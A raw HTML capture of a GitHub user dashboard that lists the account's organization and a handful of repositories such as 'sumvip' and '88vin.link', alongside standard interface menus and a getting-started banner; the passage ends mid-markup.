data-feature-preview-indicator-src="/users/NhaPhatHanh/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-ga-click="Header, show menu, icon:avatar"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="feature-preview-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" src="/users/83227313/menu" preload> <include-fragment> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-text-primary" data-show-on-error> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="container-lg px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <aside class="hide-xl hide-lg width-full color-bg-primary border-bottom py-3 p-responsive" aria-label="Account context"> <details class="details-reset details-overlay d-inline-block" id="details-59141b"> <summary class="no-underline btn-link color-text-primary text-bold width-full" title="Switch account context" data-ga-click="Dashboard, click, Opened account context switcher - context:user"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="css-truncate css-truncate-target ml-1">NhaPhatHanh</span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu" role="menu" aria-label="Switch dashboard context" > <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <div class="SelectMenu-title">Switch dashboard context</div> <button class="SelectMenu-closeButton" type="button" aria-label="Close menu" data-toggle-for="details-59141b"> <svg class="octicon octicon-x" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> </header> <div id="filter-menu-59141b" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <a class="SelectMenu-item" href="/" role="menuitemradio" aria-checked="true" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:user"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2 avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> <span class="flex-1 css-truncate css-truncate-overflow">NhaPhatHanh</span> </a> <a class="SelectMenu-item" href="/orgs/gamvip88club/dashboard" role="menuitemradio" aria-checked="false" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:organization"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2" src="https://avatars.githubusercontent.com/u/83322843?s=40&v=4" width="20" height="20" alt="@gamvip88club" /> <span class="flex-1 css-truncate css-truncate-overflow">gamvip88club</span> </a> </div> <div class="border-top color-border-secondary position-relative"> <a class="SelectMenu-item" href="/account/organizations" role="menuitem" data-ga-click="Dashboard, click, Manage orgs link in context switcher - context:user"> <svg class="octicon octicon-organization SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path></svg> Manage organizations </a> <a class="SelectMenu-item" href="/account/organizations/new" role="menuitem" data-ga-click="Dashboard, click, Create org link in context switcher - context:user"> <svg class="octicon octicon-plus SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> Create organization </a> </div> </div> </div> </details-menu> </details> </aside> <div class="d-flex flex-wrap color-bg-canvas-inset" style="min-height: 100vh;"> <aside class="team-left-column col-12 col-md-4 col-lg-3 color-bg-primary border-right color-border-secondary border-bottom hide-md hide-sm" aria-label="Account"> <div class="dashboard-sidebar js-sticky top-0 px-3 px-md-4 px-lg-5 overflow-auto"> <div class="border-bottom color-border-secondary py-3 mt-3 mb-4"> <details class="details-reset details-overlay d-inline-block" id="details-e5dc02"> <summary class="no-underline btn-link color-text-primary text-bold width-full" title="Switch account context" data-ga-click="Dashboard, click, Opened account context switcher - context:user"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="css-truncate css-truncate-target ml-1">NhaPhatHanh</span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu" role="menu" aria-label="Switch dashboard context" > <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <div class="SelectMenu-title">Switch dashboard context</div> <button class="SelectMenu-closeButton" type="button" aria-label="Close menu" data-toggle-for="details-e5dc02"> <svg class="octicon octicon-x" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> </header> <div id="filter-menu-e5dc02" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <a class="SelectMenu-item" href="/" role="menuitemradio" aria-checked="true" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:user"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2 avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> <span class="flex-1 css-truncate css-truncate-overflow">NhaPhatHanh</span> </a> <a class="SelectMenu-item" href="/orgs/gamvip88club/dashboard" role="menuitemradio" aria-checked="false" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:organization"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2" src="https://avatars.githubusercontent.com/u/83322843?s=40&v=4" width="20" height="20" alt="@gamvip88club" /> <span class="flex-1 css-truncate css-truncate-overflow">gamvip88club</span> </a> </div> <div class="border-top color-border-secondary position-relative"> <a class="SelectMenu-item" href="/account/organizations" role="menuitem" data-ga-click="Dashboard, click, Manage orgs link in context switcher - context:user"> <svg class="octicon octicon-organization SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path></svg> Manage organizations </a> <a class="SelectMenu-item" href="/account/organizations/new" role="menuitem" data-ga-click="Dashboard, click, Create org link in context switcher - context:user"> <svg class="octicon octicon-plus SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> Create organization </a> </div> </div> </div> </details-menu> </details> </div> <div class="mb-3 Details js-repos-container " data-repository-hovercards-enabled id="dashboard-repos-container" data-pjax-container role="navigation" aria-label="Repositories"> <div class="js-repos-container" id="repos-container" data-pjax-container> <h2 class="f4 hide-sm hide-md mb-1 f5 d-flex flex-justify-between flex-items-center"> Repositories <a class="btn btn-sm btn-primary color-text-white" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"NEW_REPOSITORY_BUTTON","dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="269f96c8b7925798dca252ba25ee3a5820270ba3fdf7d20d20e789a0179be9aa" data-ga-click="Dashboard, click, Sidebar header new repo button - context:user" href="/new"> <svg class="octicon octicon-repo" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> New </a> </h2> <div class="mt-2 mb-3" role="search" aria-label="Repositories"> <input type="text" class="form-control input-contrast input-block mb-3 js-filterable-field js-your-repositories-search" id="dashboard-repos-filter-left" placeholder="Find a repository…" aria-label="Find a repository…" data-url="/" data-query-name="q" value="" autocomplete="off"> </div> <ul class="list-style-none" data-filterable-for="dashboard-repos-filter-left" data-filterable-type="substring"> <li class="private source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361792290,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="3d884f457d0af2613e33ebf290824eeee38a2e5ae64f76821d5f549c3bf1d827" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:private fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip/hovercard"> <div class="color-text-tertiary mr-2"> <svg class="octicon octicon-lock repo-private-icon flex-shrink-0" aria-label="Repository" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip">sumvip</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip.club" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361782773,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="849667ca9bc191f13352a27f1a9589b81b3f666f2de9d5d2abffb7f540b04524" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip.club/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip.club">sumvip.club</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/88vin.link" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361774252,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0c2927cd368417c1f71936d5894d97c11ad6ad6ba13aad8bb18cb0ae786df73f" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/88vin.link/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="88vin.link">88vin.link</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/github-docs" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362337089,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0aa510bbf6362778733e1189b98877ea5eaed33d40c226753ae619d7d44a1f0b" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/github-docs/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="github-docs">github-docs</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/NhaPhatHanh" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362176831,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="faf207959d3f49dc5283bee49d28f8b67362a5a4d7f6de8f592c4797b96b04d9" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/NhaPhatHanh/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="NhaPhatHanh">NhaPhatHanh</span> </a> </div> </li> </ul> </div> </div> <div class="js-repos-container user-repos mb-3" id="dashboard-user-teams" data-pjax-container> <div class="Details js-repos-container" data-team-hovercards-enabled> <h2 class="hide-sm hide-md f5 mb-1 border-top color-border-secondary pt-3">Your teams</h2> <p class="notice"> You don’t belong to any teams yet! </p> </div> </div> </div> </aside> <div class="col-12 col-md-8 col-lg-6 mt-3 px-3 px-lg-5 border-bottom d-flex flex-auto"> <div class="mx-auto d-flex flex-auto flex-column" style="max-width: 1400px"> <main class="flex-auto"> <div class="border rounded-1 shelf intro-shelf js-notice"> <div class="width-full container"> <div class="width-full mx-auto p-5 shelf-content"> <h2 class="shelf-title">Learn Git and GitHub without any code!</h2> <p class="shelf-lead"> Using the Hello World guide, you’ll create a repository, start a branch, write comments, and open a pull request. </p> <a class="btn btn-primary shelf-cta mx-2 mb-3" target="_blank" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"READ_GUIDE","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="065b53dff8bb900c054c67deccb1d8e25644d77c04a9235dfb06aae8f0845b35" data-ga-click="Hello World, click, Clicked Let's get started button" href="https://guides.github.com/activities/hello-world/">Read the guide</a> <a class="btn shelf-cta mx-2 mb-3" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"START_PROJECT","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="e462943bb31bd3003c3636fdf2bd5d45ab45893d5d6e0e806ec4407a59fe0134" data-ga-click="Hello World, click, Clicked new repository button - context:user" href="/new">Start a project</a> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="shelf-dismiss js-notice-dismiss" action="/dashboard/dismiss_bootcamp" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="delete" /><input type="hidden" name="authenticity_token" value="6CEBLJmBkvqLVwFWOHZm+HjVZVyJJeRKsnJpyHd3MuLzYZKDs9LaEeGErnWlxSpK46d2HozAfEX09hbhXIBjOg==" /> <button name="button" type="submit" class="mr-1 close-button tooltipped tooltipped-w" aria-label="Hide this notice forever" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"DISMISS_BANNER","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="02ff51f0c07535492d3dc33173db83c1ec1293c047f42e1f920c5285055a6db3" data-ga-click="Hello World, click, Dismissed Hello World" data-ga-load="Hello World, linkview, Viewed Hello World"> <svg aria-label="Hide this notice forever" class="octicon octicon-x v-align-text-top" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button></form> </div> </div> <div data-issue-and-pr-hovercards-enabled> <div id="dashboard" class="dashboard"> <h1 class="sr-only">Dashboard</h1> <div class="news"> <div class="js-dashboard-deferred" data-src="/dashboard/recent-activity" data-priority="1" > <div class="Box text-center p-3 mb-4 d-none js-loader"> <div class="loading-message"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> <p class="color-text-secondary my-2 mb-0">Loading recent activity...</p> </div> </div> </div> <div class="d-block d-md-none"> <div class="mt-2 mb-4 Details js-repos-container" id="dashboard-repositories-box" data-pjax-container role="navigation"> <h2 class="f4 mb-1 text-normal d-flex flex-justify-between flex-items-center">Repositories</h2> <div class="Box px-2 py-1"> <div class="js-repos-container" id="repos-container" data-pjax-container> <h2 class="f4 hide-sm hide-md mb-1 f5 d-flex flex-justify-between flex-items-center"> Repositories <a class="btn btn-sm btn-primary color-text-white" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"NEW_REPOSITORY_BUTTON","dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="269f96c8b7925798dca252ba25ee3a5820270ba3fdf7d20d20e789a0179be9aa" data-ga-click="Dashboard, click, Sidebar header new repo button - context:user" href="/new"> <svg class="octicon octicon-repo" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> New </a> </h2> <div class="mt-2 mb-3" role="search" aria-label="Repositories"> <input type="text" class="form-control input-contrast input-block mb-3 js-filterable-field js-your-repositories-search" id="dashboard-repos-filter-center" placeholder="Find a repository…" aria-label="Find a repository…" data-url="/" data-query-name="q" value="" autocomplete="off"> </div> <ul class="list-style-none" data-filterable-for="dashboard-repos-filter-center" data-filterable-type="substring"> <li class="private source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361792290,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="3d884f457d0af2613e33ebf290824eeee38a2e5ae64f76821d5f549c3bf1d827" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:private fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip/hovercard"> <div class="color-text-tertiary mr-2"> <svg class="octicon octicon-lock repo-private-icon flex-shrink-0" aria-label="Repository" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 